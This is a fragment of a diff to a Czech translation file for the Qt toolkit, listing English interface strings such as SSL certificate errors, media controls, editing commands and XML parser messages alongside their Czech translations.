         
         
    -        
             Bass Up
             Basy +
         
         
    -        
             Refresh
             Obnovit
         
         
    -        
             Launch Mail
             Spustit e-mail
         
         
    -        
             Backspace
             Backspace
         
         
    -        
             Bass Down
             Basy -
         
         
    -        
             Standby
             V pohotovosti
         
         
    -        
             Treble Up
             Výšky +
         
         
    -        
             Num Lock
             Num Lock
         
         
    -        
             Number Lock
             Zahlen-Feststelltaste
         
         
    -        
             Favorites
             Oblíbené
         
         
    -        
             Forward
             Dopředu
         
         
    -        
             Page Down
             Obraz dolů
         
         
    -        
             Media Play
             Přehrávání
         
         
    -        
             Media Stop
             Zastavit přehrávání
         
         
    -        
             Media Next
             Další
         
         
    -        
             Launch Media
             Spustit přehrávač
         
    @@ -5845,27 +6501,22 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSlider
         
    -        
             Page up
             O stranu nahoru
         
         
    -        
             Position
             Poloha
         
         
    -        
             Page right
             O stranu doprava
         
         
    -        
             Page down
             O stranu dolů
         
         
    -        
             Page left
             O stranu doleva
         
    @@ -5873,72 +6524,58 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSocks5SocketEngine
         
    -        
             Network operation timed out
             Časový limit pro síťovou operaci byl překročen
         
         
    -        
             Connection to proxy closed prematurely
             Proxy server předčasně ukončil spojení
         
         
    -        
             Proxy authentication failed: %1
             Autentizace u proxy serveru se nezdařila: %1
         
         
    -        
             Proxy authentication failed
             Autentizace u proxy serveru se nezdařila
         
         
    -        
             General SOCKSv5 server failure
             Všeobecná chyba při spojení s SOCKSv5 serverem
         
         
    -        
             Unknown SOCKSv5 proxy error code 0x%1
             Byl obdržen neznámý chybový kód od SOCKSv5 proxy serveru: 0x%1
         
         
    -        
             Connection not allowed by SOCKSv5 server
             SOCKSv5 server odmítl spojení
         
         
    -        
             SOCKSv5 command not supported
             Tento SOCKSv5 příkaz není podporován
         
         
    -        
             Connection to proxy timed out
             Při spojení s proxy serverem byl překročen časový limit
         
         
    -        
             Proxy host not found
             Proxy server se nepodařilo najit
         
         
    -        
             TTL expired
             TTL uplynul
         
         
    -        
             Address type not supported
             Tento typ adresy není podporován
         
         
    -        
             Connection to proxy refused
             Proxy server odmítl navázání spojení
         
         
    -        
             SOCKS version 5 protocol error
             Chyba protokolu (SOCKS verze 5)
         
    @@ -5946,32 +6583,26 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSoftKeyManager
         
    -        
             Ok
             OK
         
         
    -        
             Select
             Vybrat
         
         
    -        
             Done
             Hotovo
         
         
    -        
             Options
             Volby
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             Exit
             Ukončit
         
    @@ -5979,12 +6610,10 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSpinBox
         
    -        
             Less
             Méně
         
         
    -        
             More
             Více
         
    @@ -5992,56 +6621,42 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSql
         
    -        
    -        
    -        
             No
             Ne
         
         
    -        
    -        
    -        
             Yes
             Ano
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             Delete
             Delete
         
         
    -        
             Insert
             Vložit
         
         
    -        
             Update
             Obnovit
         
         
    -        
             Delete this record?
             Smazat tento zápis?
         
         
    -        
             Save edits?
             Uložit změny?
         
         
    -        
             Confirm
             Potvrdit
         
         
    -        
             Cancel your edits?
             Zrušit změny?
         
    @@ -6049,80 +6664,165 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSslSocket
         
    -        
             Error creating SSL session: %1
             Nepodařilo se vytvořit sezení SSL: %1
         
         
    -        
             Error creating SSL session, %1
             Nepodařilo se vytvořit sezení SSL, %1
         
         
    -        
             Cannot provide a certificate with no key, %1
             Bez klíče nelze poskytnout žádné osvědčení k volnému použití, %1
         
         
    -        
    +        Private key does not certify public key, %1
    +        Soukromý klíč nedosvědčuje veřejný klíč, %1
    +    
    +    
             Unable to write data: %1
             Data se nepodařilo zapsat: %1
         
         
    -        
    +        Unable to decrypt data: %1
    +        Data se nepodařilo rozluštit: %1
    +    
    +    
             Error during SSL handshake: %1
             Během startu SSL protokolu se vyskytla chyba: %1
         
         
    -        
             Error loading local certificate, %1
             Nepodařilo se nahrát místní osvědčení, %1
         
         
    -        
             Invalid or empty cipher list (%1)
             Neplatný či prázdný seznam se šifrovacími klíči (%1)
         
         
    -        
             Private key does not certificate public key, %1
    -        Vystavení osvědčení k veřejnému klíči přes soukromý klíč se nezdařilo, %1
    +        Vystavení osvědčení k veřejnému klíči přes soukromý klíč se nezdařilo, %1
         
         
    -        
             Error creating SSL context (%1)
             Nepodařilo se vytvořit žádný kontext SSL (%1)
         
         
    -        
             Error while reading: %1
             Při čtení se vyskytla chyba: %1
         
         
    -        
             Error loading private key, %1
             Soukromý klíč se nepodařilo nahrát, %1
         
    +    
    +        No error
    +        Žádná chyba
    +    
    +    
    +        The issuer certificate could not be found
    +        Osvědčení od vydavatele se nepodařilo nalézt
    +    
    +    
    +        The certificate signature could not be decrypted
    +        Podpis osvědčení se nepodařilo rozluštit
    +    
    +    
    +        The public key in the certificate could not be read
    +        Veřejný klíč v osvědčení se nepodařilo přečíst
    +    
    +    
    +        The signature of the certificate is invalid
    +        Podpis osvědčení je neplatný
    +    
    +    
    +        The certificate is not yet valid
    +        Osvědčení ještě není platné
    +    
    +    
    +        The certificate has expired
    +        Platnost osvědčení uplynula
    +    
    +    
    +        The certificate's notBefore field contains an invalid time
    +        Pole osvědčení 'notBefore' obsahuje neplatný čas
    +    
    +    
    +        The certificate's notAfter field contains an invalid time
    +        Pole osvědčení 'notAfter' obsahuje neplatný čas
    +    
    +    
    +        The certificate is self-signed, and untrusted
    +        Osvědčení je podepsáno samo sebou, a proto není důvěryhodné
    +    
    +    
    +        The root certificate of the certificate chain is self-signed, and untrusted
    +        Kořenové osvědčení řetězce osvědčení je podepsáno samo sebou, a proto není důvěryhodné
    +    
    +    
    +        The issuer certificate of a locally looked up certificate could not be found
    +        Osvědčení od vydavatele místně nalezeného osvědčení se nepodařilo najít
    +    
    +    
    +        No certificates could be verified
    +        Žádný z osvědčení se nepodařilo ověřit
    +    
    +    
    +        One of the CA certificates is invalid
    +        Jedno z osvědčení osvědčovacího místa (CA) je neplatné
    +    
    +    
    +        The basicConstraints path length parameter has been exceeded
    +        Délka cesty 'basicConstraints'byla překročena
    +    
    +    
    +        The supplied certificate is unsuitable for this purpose
    +        Poskytnuté osvědčení nelze v tomto případě použít; není vhodné pro tento účel
    +    
    +    
    +        The root CA certificate is not trusted for this purpose
    +        Kořenové osvědčení osvědčovacího místa není pro tento případ důvěryhodné
    +    
    +    
    +        The root CA certificate is marked to reject the specified purpose
    +        Kořenové osvědčení osvědčovacího místa odmítá tento případ na základě zvláštního označení
    +    
    +    
    +        The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate
    +        Osvědčení sledovaného vydavatele bylo odmítnuto, protože jeho předmětný název neodpovídá názvu vydavatele současného osvědčení
    +    
    +    
    +        The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate
    +        Osvědčení sledovaného vydavatele bylo odmítnuto, protože název vydavatele a sériové číslo jsou přítomny a neodpovídají identifikátoru osvědčovacího místa současného osvědčení
    +    
    +    
    +        The peer did not present any certificate
    +        Protější místo neudalo žádné osvědčení
    +    
    +    
    +        The host name did not match any of the valid hosts for this certificate
    +        Název hostitelského počítače neodpovídá žádnému z hostitelů platných pro toto osvědčení, kteří jsou na seznamu
    +    
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
     
     
         QStateMachine
         
    -        
             Missing initial state in compound state '%1'
             Chybí počáteční stav složeného stavu '%1'
         
         
    -        
             Missing default state in history state '%1'
             Chybí výchozí stav ve vývoji stavu '%1'
         
         
    -        
             No common ancestor for targets and source of transition from state '%1'
             Cíl a zdroj přechodu ze stavu '%1' nemají žádný společný původ
         
         
    -        
             Unknown error
             Neznámá chyba
         
    @@ -6130,30 +6830,22 @@ Zvolte, prosím, pro soubor jiný název.
     
         QSystemSemaphore
         
    -        
             %1: does not exist
             %1: Neexistuje
         
         
    -        
             %1: already exists
             %1: Již existuje
         
         
    -        
    -        
             %1: unknown error %2
             %1: Neznámá chyba %2
         
         
    -        
    -        
             %1: permission denied
             %1: Přístup odepřen
         
         
    -        
    -        
             %1: out of resources
             %1: Nejsou již použitelné zdroje
         
    @@ -6161,12 +6853,10 @@ Zvolte, prosím, pro soubor jiný název.
     
         QTDSDriver
         
    -        
             Unable to open connection
             Nepodařilo se otevřít spojení s databází
         
         
    -        
             Unable to use database
             Datatbázi se nepodařilo použít
         
    @@ -6174,12 +6864,10 @@ Zvolte, prosím, pro soubor jiný název.
     
         QTabBar
         
    -        
             Scroll Left
             Projíždět doleva
         
         
    -        
             Scroll Right
             Projíždět doprava
         
    @@ -6187,7 +6875,6 @@ Zvolte, prosím, pro soubor jiný název.
     
         QTcpServer
         
    -        
             Operation on socket is not supported
             Tato zásuvková (socket) operace není podporována
         
    @@ -6195,42 +6882,34 @@ Zvolte, prosím, pro soubor jiný název.
     
         QTextControl
         
    -        
             Cu&t
             Vyj&mout
         
         
    -        
             &Copy
             &Kopírovat
         
         
    -        
             &Redo
             &Znovu
         
         
    -        
             &Undo
             &Zpět
         
         
    -        
             &Paste
             &Vložit
         
         
    -        
             Delete
             Smazat
         
         
    -        
             Select All
             Vybrat vše
         
         
    -        
             Copy &Link Location
             &Kopírovat adresu odkazu
         
    @@ -6238,14 +6917,10 @@ Zvolte, prosím, pro soubor jiný název.
     
         QToolButton
         
    -        
    -        
             Open
             Otevřít
         
         
    -        
    -        
             Press
             Stisknout
         
    @@ -6253,7 +6928,6 @@ Zvolte, prosím, pro soubor jiný název.
     
         QUdpSocket
         
    -        
             This platform does not support IPv6
             Tato patforma nepodpotuje IPv6
         
    @@ -6261,12 +6935,10 @@ Zvolte, prosím, pro soubor jiný název.
     
         QUndoGroup
         
    -        
             Redo
             Znovu
         
         
    -        
             Undo
             Zpět
         
    @@ -6274,7 +6946,6 @@ Zvolte, prosím, pro soubor jiný název.
     
         QUndoModel
         
    -        
             <empty>
             <prázdný>
         
    @@ -6282,12 +6953,10 @@ Zvolte, prosím, pro soubor jiný název.
     
         QUndoStack
         
    -        
             Redo
             Znovu
         
         
    -        
             Undo
             Zpět
         
    @@ -6295,57 +6964,46 @@ Zvolte, prosím, pro soubor jiný název.
     
         QUnicodeControlCharacterMenu
         
    -        
             RLE Start of right-to-left embedding
             RLE Začátek zapuštění zprava doleva (right-to-left embedding)
         
         
    -        
             ZWSP Zero width space
             ZWSP Prostor s nulovou šířkou (Zero width space)
         
         
    -        
             Insert Unicode control character
             Vložit kontrolní znak Unicode
         
         
    -        
             LRO Start of left-to-right override
             LRO Začátek zrušení zleva doprava (left-to-right override)
         
         
    -        
             LRE Start of left-to-right embedding
             LRE Začátek zapuštění zleva doprava (right-to-left embedding)
         
         
    -        
             RLM Right-to-left mark
             RLM Značka zprava doleva (Right-to-left mark)
         
         
    -        
             PDF Pop directional formatting
             PDF Vsunout směrové formátování (Pop directional formatting)
         
         
    -        
             ZWNJ Zero width non-joiner
             ZWNJ Nespojovač s nulovou šířkou (Zero width non-joiner)
         
         
    -        
             RLO Start of right-to-left override
             RLO Začátek zrušení zprava doleva (right-to-left override)
         
         
    -        
             ZWJ Zero width joiner
             ZWJ Spojovač s nulovou šířkou (Zero width joiner)
         
         
    -        
             LRM Left-to-right mark
             LRM Značka zleva doprava (Left-to-right mark)
         
    @@ -6353,22 +7011,18 @@ Zvolte, prosím, pro soubor jiný název.
     
         QWebFrame
         
    -        
             Request blocked
             Požadavek byl odmítnut
         
         
    -        
             Request cancelled
             Požadavek byl zrušen
         
         
    -        
             Cannot show URL
             Adresu (URL) nelze ukázat
         
         
    -        
             Frame load interrupted by policy change
             Nahrání rámce bylo přerušeno změnou směrnice
         
    @@ -6377,12 +7031,10 @@ Zvolte, prosím, pro soubor jiný název.
             Nahrání rámce bylo přerušeno změnou směrnice
         
         
    -        
             File does not exist
             Soubor neexistuje
         
         
    -        
             Cannot show mimetype
             Tento mime typ nelze ukázat
         
    @@ -6402,7 +7054,6 @@ Zvolte, prosím, pro soubor jiný název.
             Zprava doleva
         
         
    -        
             Top
             Začátek
         
    @@ -6443,122 +7094,98 @@ Zvolte, prosím, pro soubor jiný název.
             Provést prohlídku
         
         
    -        
             Select to the start of the block
             Vybrat až po začátek bloku
         
         
    -        
             Move the cursor to the end of the block
             Ukazatel polohy posunout až na konec bloku
         
         
    -        
             JavaScript Alert - %1
             Upozornění od JavaScriptu - %1
         
         
    -        
             JavaScript Confirm - %1
             Potvrzení od JavaScriptu - %1
         
         
    -        
             JavaScript Prompt - %1
             Výzva od JavaScriptu - %1
         
         
    -        
             JavaScript Problem - %1
             Potíže s JavaScriptem - %1
         
         
    -        
             The script on this page appears to have a problem. Do you want to stop the script?
             Vypadá to na to, že skript na této straně má potíže. Chcete tento skript zastavit?
         
         
    -        
             Select all
             Vybrat vše
         
         
    -        
             Select to the start of the line
             Vybrat až po začátek řádku
         
         
    -        
             Insert a new paragraph
             Vložit nový odstavec
         
         
    -        
             Insert a new line
             Vložit nový řádek
         
         
    -        
             Paste and Match Style
             Vložit a odpovídat stylu
         
         
    -        
             Remove formatting
             Odstranit formátování
         
         
    -        
             Strikethrough
             Přeškrtnuto
         
         
    -        
             Subscript
             Dolní index
         
         
    -        
             Superscript
             Horní index
         
         
    -        
             Insert Bulleted List
             Vložit seznam s odrážkami
         
         
    -        
             Insert Numbered List
             Vložit číslovaný seznam
         
         
    -        
             Indent
             Odsadit
         
         
    -        
             Outdent
             Zrušit odsazení
         
         
    -        
             Center
             Na střed
         
         
    -        
             Justify
             Do bloku
         
         
    -        
             Align Left
             Zarovnat vlevo
         
         
    -        
             Align Right
             Zarovnat vpravo
         
    @@ -6579,7 +7206,6 @@ Zvolte, prosím, pro soubor jiný název.
             Přidat do slovníku
         
         
    -        
             Delete to the start of the word
             Smazat až po začátek slova
         
    @@ -6588,32 +7214,26 @@ Zvolte, prosím, pro soubor jiný název.
             Dosavadní hledané výrazy
         
         
    -        
             Move the cursor to the next word
             Ukazatel polohy posunout k následujícímu slovu
         
         
    -        
             Move the cursor to the next line
             Ukazatel polohy posunout k následujícímu řádku
         
         
    -        
             Scroll down
             Projíždět dolů
         
         
    -        
             Scroll here
             Projíždět až sem
         
         
    -        
             Scroll left
             Projíždět doleva
         
         
    -        
             Move the cursor to the start of the block
             Ukazatel polohy posunout na začátek bloku
         
    @@ -6622,7 +7242,6 @@ Zvolte, prosím, pro soubor jiný název.
             Směr psaní
         
         
    -        
             Bottom
             Konec
         
    @@ -6635,12 +7254,10 @@ Zvolte, prosím, pro soubor jiný název.
             Kurzívní
         
         
    -        
             Move the cursor to the end of the line
             Ukazatel polohy posunout na konec řádku
         
         
    -        
             Move the cursor to the start of the line
             Ukazatel polohy posunout na začátek řádku
         
    @@ -6653,12 +7270,10 @@ Zvolte, prosím, pro soubor jiný název.
             Poslat
         
         
    -        
             Web Inspector - %2
             Web Inspektor - %2
         
         
    -        
             Page up
             O stranu nahoru
         
    @@ -6679,487 +7294,411 @@ Zvolte, prosím, pro soubor jiný název.
             Nebyl vybrán žádný soubor
         
         
    -        
             Submit
             default label for Submit buttons in forms on web pages
             Poslat
         
         
    -        
             Reset
             default label for Reset buttons in forms on web pages
             Vrátit
         
         
    -        
             This is a searchable index. Enter search keywords: 
             text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index'
             Tento rejstřík má funkci hledání. Zadejte nějaký hledaný výraz:
         
         
    -        
             Choose File
             title for file button used in HTML forms
             Vybrat soubor
         
         
    -        
             No file selected
             text to display in file button used in HTML forms when no file is selected
             Nebyl vybrán žádný soubor
         
         
    -        
             Open in New Window
             Open in New Window context menu item
             Otevřít v novém okně
         
         
    -        
             Save Link...
             Download Linked File context menu item
             Uložit odkaz...
         
         
    -        
             Copy Link
             Copy Link context menu item
             Kopírovat adresu odkazu
         
         
    -        
             Open Image
             Open Image in New Window context menu item
             Vyobrazení otevřít v novém okně
         
         
    -        
             Save Image
             Download Image context menu item
             Uložit vyobrazení
         
         
    -        
             Copy Image
             Copy Link context menu item
             Kopírovat vyobrazení
         
         
    -        
             Open Frame
             Open Frame in New Window context menu item
             Otevřít rámec
         
         
    -        
             Copy
             Copy context menu item
             Kopírovat
         
         
    -        
             Go Back
             Back context menu item
             Jít zpět
         
         
    -        
             Go Forward
             Forward context menu item
             Jít dopředu
         
         
    -        
             Stop
             Stop context menu item
             Zastavit
         
         
    -        
             Reload
             Reload context menu item
             Nahrát znovu
         
         
    -        
             Cut
             Cut context menu item
             Vyjmout
         
         
    -        
             Paste
             Paste context menu item
             Vložit
         
         
    -        
             No Guesses Found
             No Guesses Found context menu item
             Nebyly nalezeny žádné návrhy
         
         
    -        
             Ignore
             Ignore Spelling context menu item
             Přehlížet
         
         
    -        
             Add To Dictionary
             Learn Spelling context menu item
             Přidat do slovníku
         
         
    -        
             Search The Web
             Search The Web context menu item
             Hledat na síti
         
         
    -        
             Look Up In Dictionary
             Look Up in Dictionary context menu item
             Podívat se do slovníku
         
         
    -        
             Open Link
             Open Link context menu item
             Otevřít adresu odkazu
         
         
    -        
             Ignore
             Ignore Grammar context menu item
             Přehlížet
         
         
    -        
             Spelling
             Spelling and Grammar context sub-menu item
             Pravopis
         
         
    -        
             Show Spelling and Grammar
             menu item title
             Ukázat pravopis a mluvnici
         
         
    -        
             Hide Spelling and Grammar
             menu item title
             Skrýt pravopis a mluvnici
         
         
    -        
             Check Spelling
             Check spelling context menu item
             Ověření pravopisu
         
         
    -        
             Check Spelling While Typing
             Check spelling while typing context menu item
             Ověřovat pravopis během psaní
         
         
    -        
             Check Grammar With Spelling
             Check grammar with spelling context menu item
             Ověřovat mluvnici společně s pravopisem
         
         
    -        
             Fonts
             Font context sub-menu item
             Písma
         
         
    -        
             Bold
             Bold context menu item
             Tučné
         
         
    -        
             Italic
             Italic context menu item
             Kurzíva
         
         
    -        
             Underline
             Underline context menu item
             Podtržení
         
         
    -        
             Outline
             Outline context menu item
             Obrys
         
         
    -        
             Direction
             Writing direction context sub-menu item
             Směr
         
         
    -        
             Text Direction
             Text direction context sub-menu item
             Směr psaní
         
         
    -        
             Default
             Default writing direction context menu item
             Výchozí
         
         
    -        
             Left to Right
             Left to Right context menu item
             Zleva doprava
         
         
    -        
             Right to Left
             Right to Left context menu item
             Zprava doleva
         
         
    -        
    +        Missing Plug-in
    +        Label text to be used when a plug-in is missing
    +        Chybějící přídavný modul
    +    
    +    
             Loading...
             Media controller status message when the media is loading
             Nahrává se...
         
         
    -        
             Live Broadcast
             Media controller status message when watching a live broadcast
             Živý přenos
         
         
    -        
             Audio Element
             Media controller element
             Zvukový prvek
         
         
    -        
             Video Element
             Media controller element
             Videoprvek
         
         
    -        
             Mute Button
             Media controller element
             Tlačítko pro ztlumení
         
         
    -        
             Unmute Button
             Media controller element
             Tlačítko pro zrušení ztlumení
         
         
    -        
             Play Button
             Media controller element
             Tlačítko pro přehrávání
         
         
    -        
             Pause Button
             Media controller element
             Tlačítko pro pozastavení
         
         
    -        
             Slider
             Media controller element
             Posuvník
         
         
    -        
             Slider Thumb
             Media controller element
             Palec posuvníku
         
         
    -        
             Rewind Button
             Media controller element
             Tlačítko pro přetočení
         
         
    -        
             Return to Real-time Button
             Media controller element
             Tlačítko pro návrat ke skutečnému času
         
         
    -        
             Elapsed Time
             Media controller element
             Uplynulý čas
         
         
    -        
             Remaining Time
             Media controller element
             Zbývající čas
         
         
    -        
             Status Display
             Media controller element
             Údaj o stavu
         
         
    -        
             Fullscreen Button
             Media controller element
             Tlačítko pro zobrazení na celou obrazovku
         
         
    -        
             Seek Forward Button
             Media controller element
             Tlačítko pro hledání dopředu
         
         
    -        
             Seek Back Button
             Media controller element
             Tlačítko pro hledání dozadu
         
         
    -        
             Audio element playback controls and status display
             Media controller element
             Řízení přehrávání zvuku a zobrazení stavu
         
         
    -        
             Video element playback controls and status display
             Media controller element
             Řízení přehrávání videa a zobrazení stavu
         
         
    -        
             Mute audio tracks
             Media controller element
             Ztlumit zvukové stopy
         
         
    -        
             Unmute audio tracks
             Media controller element
             Zrušit ztlumení zvukových stop
         
         
    -        
             Begin playback
             Media controller element
             Začít přehrávání
         
         
    -        
             Pause playback
             Media controller element
             Pozastavit přehrávání
         
         
    -        
             Movie time scrubber
             Media controller element
             Čas přehrávání
         
         
    -        
             Movie time scrubber thumb
             Media controller element
             Palec pro nastavení času přehrávání
         
         
    -        
             Rewind movie
             Media controller element
             Přetočit film zpět
         
         
    -        
             Return streaming movie to real-time
             Media controller element
             Vrátit film na skutečný čas
         
         
    -        
             Current movie time
             Media controller element
             Čas přehrávání filmu
         
         
    -        
             Remaining movie time
             Media controller element
             Zbývající čas z přehrávání filmu
         
         
    -        
             Current movie status
             Media controller element
             Stav filmu
         
         
    -        
             Play movie in full-screen mode
             Media controller element
             Přehrávat film v režimu zobrazení na celou obrazovku
         
         
    -        
             Seek quickly back
             Media controller element
             Rychlé zpětné hledání
         
         
    -        
             Seek quickly forward
             Media controller element
             Rychlé dopředné hledání
         
         
    -        
             Indefinite time
             Media time description
             Neomezený čas
         
         
    -        
             %1 days %2 hours %3 minutes %4 seconds
             Media time description
             %1 dny %2 hodiny %3 minuty %4 sekundy
         
         
    -        
             %1 hours %2 minutes %3 seconds
             Media time description
             %1 hodiny %2 minuty %3 sekundy
         
         
    -        
             %1 minutes %2 seconds
             Media time description
             %1 minuty %2 sekundy
         
         
    -        
             %1 seconds
             Media time description
             %1 sekundy
    @@ -7175,37 +7714,31 @@ Zvolte, prosím, pro soubor jiný název.
             Zprava doleva
         
         
    -        
             Inspect
             Inspect Element context menu item
             Provést prohlídku
         
         
    -        
             No recent searches
             Label for only item in menu that appears when clicking on the search field image, when no searches have been performed
             Neexistují žádné naposledy hledané výrazy
         
         
    -        
             Recent searches
             label for first item in the menu that appears when clicking on the search field image, used as embedded menu title
             Dosavadní hledané výrazy
         
         
    -        
             Clear recent searches
             menu item in Recent Searches menu that empties menu's contents
             Smazat naposledy hledané výrazy
         
         
    -        
             Unknown
             Unknown filesize FTP directory listing item
             Neznámý
         
         
    -        
             %1 (%2x%3 pixels)
             Title string for images
             %1 (%2x%3 pixelů)
    @@ -7223,17 +7756,14 @@ Zvolte, prosím, pro soubor jiný název.
             Neexistují žádné naposledy hledané výrazy
         
         
    -        
             Page right
             O stranu doprava
         
         
    -        
             Move the cursor to the start of the document
             Ukazatel polohy posunout na začátek dokumentu
         
         
    -        
             Move the cursor to the next character
             Ukazatel polohy posunout k následujícímu znaku
         
    @@ -7242,12 +7772,10 @@ Zvolte, prosím, pro soubor jiný název.
             Kopírovat adresu odkazu
         
         
    -        
             Select to the previous line
             Vybrat až po předchozí řádek
         
         
    -        
             Select to the previous word
             Vybrat až po předchozí slovo
         
    @@ -7256,7 +7784,6 @@ Zvolte, prosím, pro soubor jiný název.
             Kontrola pravopisu
         
         
    -        
             Select to the next character
             Vybrat až po následující znak
         
    @@ -7265,7 +7792,6 @@ Zvolte, prosím, pro soubor jiný název.
             Ukázat pravopis a mluvnici
         
         
    -        
             Delete to the end of the word
             Smazat až po konec slova
         
    @@ -7274,12 +7800,10 @@ Zvolte, prosím, pro soubor jiný název.
             Směr
         
         
    -        
             Select to the end of the line
             Vybrat až po začátek řádku
         
         
    -        
             Submit
             Submit (input element) alt text for <input> elements with no alt, title, or value
             Poslat
    @@ -7289,7 +7813,6 @@ Zvolte, prosím, pro soubor jiný název.
             Vybrat soubor
         
         
    -        
             Scroll up
             Projíždět nahoru
         
    @@ -7298,7 +7821,6 @@ Zvolte, prosím, pro soubor jiný název.
             Smazat naposledy hledané výrazy
         
         
    -        
             Select to the start of the document
             Vybrat až po začátek dokumentu
         
    @@ -7311,7 +7833,6 @@ Zvolte, prosím, pro soubor jiný název.
             Podtrhnout
         
         
    -        
             Move the cursor to the previous character
             Ukazatel polohy posunout k předchozímu znaku
         
    @@ -7320,17 +7841,14 @@ Zvolte, prosím, pro soubor jiný název.
             Kopírovat vyobrazení
         
         
    -        
             Select to the end of the document
             Vybrat až po konec dokumentu
         
         
    -        
             Select to the end of the block
             Vybrat až po konec bloku
         
         
    -        
             Scroll right
             Projíždět doprava
         
    @@ -7343,7 +7861,10 @@ Zvolte, prosím, pro soubor jiný název.
             Otevřít adresu odkazu
         
         
    -        
    +        Redirection limit reached
    +        Dosaženo krajní meze pro přesměrování
    +    
    +    
             Bad HTTP request
             Neplatný požadavek HTTP
         
    @@ -7352,12 +7873,10 @@ Zvolte, prosím, pro soubor jiný název.
             Neznámý
         
         
    -        
             Move the cursor to the previous word
             Ukazatel polohy posunout k předchozímu slovu
         
         
    -        
             Move the cursor to the previous line
             Ukazatel polohy posunout na předchozí řádku
         
    @@ -7366,7 +7885,6 @@ Zvolte, prosím, pro soubor jiný název.
             %n soubor(ů)
         
         
    -        
             Left edge
             Levý okraj
         
    @@ -7375,12 +7893,10 @@ Zvolte, prosím, pro soubor jiný název.
             Jít dopředu
         
         
    -        
             Page down
             O stranu dolů
         
         
    -        
             Page left
             O stranu doleva
         
    @@ -7389,7 +7905,6 @@ Zvolte, prosím, pro soubor jiný název.
             Tento index má funkci hledání. Zadejte nějaký hledaný výraz:
         
         
    -        
             Select to the previous character
             Vybrat až po předchozí znak
         
    @@ -7402,12 +7917,10 @@ Zvolte, prosím, pro soubor jiný název.
             Otevřít v novém okně
         
         
    -        
             Right edge
             Pravý okraj
         
         
    -        
             Move the cursor to the end of the document
             Ukazatel polohy posunout na konec dokumentu
         
    @@ -7420,30 +7933,26 @@ Zvolte, prosím, pro soubor jiný název.
             %1 (%2x%3 pixelů)
         
         
    -        
             Select to the next word
             Vybrat až po následující slovo
         
         
    -        
             Select to the next line
             Vybrat až po následující řádek
         
         
    -        
             %n file(s)
             number of chosen file
             
    -            %n soubor(ů)
    -            
    -            
    +            jeden soubor
    +            %n soubory
    +            %n souborů
             
         
     
     
         QWhatsThisAction
         
    -        
             What's This?
             Co je toto?
         
    @@ -7451,7 +7960,6 @@ Zvolte, prosím, pro soubor jiný název.
     
         QWidget
         
    -        
             *
             *
         
    @@ -7459,57 +7967,46 @@ Zvolte, prosím, pro soubor jiný název.
     
         QWizard
         
    -        
             Done
             Hotovo
         
         
    -        
             Help
             Nápověda
         
         
    -        
             &Help
             &Nápověda
         
         
    -        
             &Next
             &Další
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             Commit
             Použít
         
         
    -        
             Continue
             Pokračovat
         
         
    -        
             &Finish
             Do&končit
         
         
    -        
             &Next >
             &Další >
         
         
    -        
             Go Back
             Jít zpět
         
         
    -        
             < &Back
             < &Zpět
         
    @@ -7517,69 +8014,54 @@ Zvolte, prosím, pro soubor jiný název.
     
         QWorkspace
         
    -        
             &Move
             Po&sunout
         
         
    -        
             &Size
             Změnit &velikost
         
         
    -        
             Close
             Zavřít
         
         
    -        
             Minimize
             Zmenšit
         
         
    -        
             Stay on &Top
             Zůstat v &popředí
         
         
    -        
             &Close
             &Zavřít
         
         
    -        
    -        
             %1 - [%2]
             %1 - [%2]
         
         
    -        
    -        
             Sh&ade
             &Navinout
         
         
    -        
             &Restore
             &Obnovit
         
         
    -        
             &Unshade
             &Odvinout
         
         
    -        
             Mi&nimize
             &Zmenšit
         
         
    -        
             Ma&ximize
             Zvě&tšit
         
         
    -        
             Restore Down
             Obnovit
         
    @@ -7587,302 +8069,260 @@ Zvolte, prosím, pro soubor jiný název.
     
         QXml
         
    -        
             unparsed entity reference in wrong context
             používán nevyhodnocený odkaz na entitu v nesprávné souvislosti
         
         
    -        
             external parsed general entity reference not allowed in DTD
             v DTD nejsou dovoleny žádné odkazy na vnější obecnou entitu
         
         
    -        
             wrong value for standalone declaration
             nesprávná hodnota pro samostatné prohlášení
         
         
    -        
             encoding declaration or standalone declaration expected while reading the XML declaration
             chybějící prohlášení kódování nebo prohlášení samostatnosti při čtení prohlášení XML
         
         
    -        
             no error occurred
             žádná chyba
         
         
    -        
             error occurred while parsing reference
             při vyhodnocení odkazu se vyskytla chyba
         
         
    -        
             standalone declaration expected while reading the XML declaration
             chybějící prohlášení samostatnosti při čtení prohlášení XML
         
         
    -        
             invalid name for processing instruction
             neplatný název pro pokyn pro zpracování
         
         
    -        
             error triggered by consumer
             chyba spuštěná spotřebitelem
         
         
    -        
             error occurred while parsing element
             při vyhodnocení prvku se vyskytla chyba
         
         
    -        
             unexpected character
             neočekávaný znak
         
         
    -        
             tag mismatch
             Značky prvků nejsou vkládány správně
         
         
    -        
             error occurred while parsing content
             při vyhodnocení obsahu se vyskytla chyba
         
         
    -        
             error occurred while parsing comment
             při vyhodnocení poznámky se vyskytla chyba
         
         
    -        
             internal general entity reference not allowed in DTD
             v DTD nejsou dovoleny žádné odkazy na vnitřní obecnou entitu
         
         
    -        
             recursive entities
             rekurzivní entity
         
         
    -        
             more than one document type definition
             více definicí typu dokumentu
         
         
    -        
             version expected while reading the XML declaration
             chybějící verze při čtení prohlášení XML
         
         
    -        
             letter is expected
             na tomto místě je potřeba písmeno
         
         
    -        
             unexpected end of file
             neočekávaný konec souboru
         
         
    -        
             external parsed general entity reference not allowed in attribute value
             v hodnotě vlastnosti nejsou dovoleny žádné odkazy na vnější obecnou entitu
         
         
    -        
             error in the text declaration of an external entity
             Chyba v prohlášení textu vnější entity
         
         
    -        
             error occurred while parsing document type definition
             při vyhodnocení definice typu dokumentu se vyskytla chyba
         
     
     
    +    QXmlPatternistCLI
    +    
    +        Warning in %1, at line %2, column %3: %4
    +        Varování v %1, na řádku %2, sloupec %3: %4
    +    
    +    
    +        Warning in %1: %2
    +        Varování v %1: %2
    +    
    +    
    +        Unknown location
    +        Neznámé umístění
